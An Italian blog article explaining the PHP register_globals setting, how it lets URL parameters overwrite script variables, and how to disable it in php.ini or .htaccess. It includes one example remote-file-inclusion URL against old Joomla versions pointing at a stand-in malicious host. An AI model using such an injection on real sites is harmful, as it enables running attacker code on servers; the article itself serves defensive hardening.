Seguici su Telegram, ne vale la pena ❤️ ➡ @trovalost
Vai al contenuto

PHP: guida all’uso corretto di register_globals

La configurazione di un server web (tipicamente Apache 2.2) per i nostri siti web viene solitamente demandata al gestore dell’hosting stesso, senza che il webmaster debba preoccuparsi di alcunchè. Resta il fatto che questo aspetto può includere una falla anche piuttosto clamorosa, che rischia di compromettere il funzionamento del sito e la possibilità  che un attaccante possa eseguire operazioni arbitrarie su di esso.

Che cos’è register globals in PHP

2685 bigRegister Globals è una variabile creata inizialmente per uno scopo decisamente utile: quello di aiutare i developer a sviluppare, mantenere o creare ex novo componenti di Joomla, moduli di wordpress e via dicendo. In altri termini la situazione è la seguente: se poniamo di avere un URL con parametro GET annesso del tipo:

index.php?value=100

crea automaticamente la variabile $value con il valore 100 dentro lo script in esecuzione index.php

Questa è una funziona molto comoda per uno sviluppatore in certe circostanze, ma apre un “buco” che chi sia a conoscenza del CMS che stiamo usando può tranquillamente sfruttare a proprio vantaggio per danneggiare il sistema. In Joomla! (quantomeno nelle vecchie versioni) era possibile sovrascrivere il path di inclusione file:

index.php?mos_config_livesite=http://evilpath.com/file.php

Rimanendo confinati all’ambito Joomla!, c’è da dire che questo tipo di operazioni può essere inibito dall’uso nei moduli/componenti della funzione mosGetParam(), che filtra le variabili in ingresso – e di per sè è molto sicura in tal senso; del resto non possiamo essere sicuri dell’utilizzo massivo della stessa, specie se tendiamo a costruire siti sulla base di un mero “assemblaggio” di componenti differenti tra loro su cui sappiamo poco  nulla. Per risolvere questo problema Apache e PHP mettono a disposizione register_globals, che si può mettere ad “off” per evitare potenziali pericoli come quello esposto.

Esempio pratico con register globals impostato a off

Se stai utilizzando SupportHost (e molti altri server di questo tipo) puoi tranquillamente personalizzare il tuo file PHP.ini, ed inserire un semplice flag in questo modo (che andrà  a sovrascrivere soltanto il parametro che modifichi lasciando invariati gli altri):

register_globals = Off

oppure puoi, se il server non da’ questa possibilità , inserire nel file .htaccess quest’altra direttiva equivalente:

php_flag register_globals off

Chi non dia questa possibilità  (mettere register_globals ad off) oggigiorno spalanca una porta in modo irresponsabile a svariati attacchi, per cui è bene valutare di cambiare hosting.

👇 Da non perdere 👇



Questo portale esiste da 4461 giorni (12 anni), e contiene ad oggi 6456 articoli (circa 5.164.800 parole in tutto) e 12 servizi online gratuiti. – Leggi un altro articolo a caso
Non ha ancora votato nessuno.

Ti sembra utile o interessante? Vota e fammelo sapere.

Questo sito contribuisce alla audience di sè stesso.
Il nostro network informativo: Lipercubo.it - Pagare.online - Trovalost.it.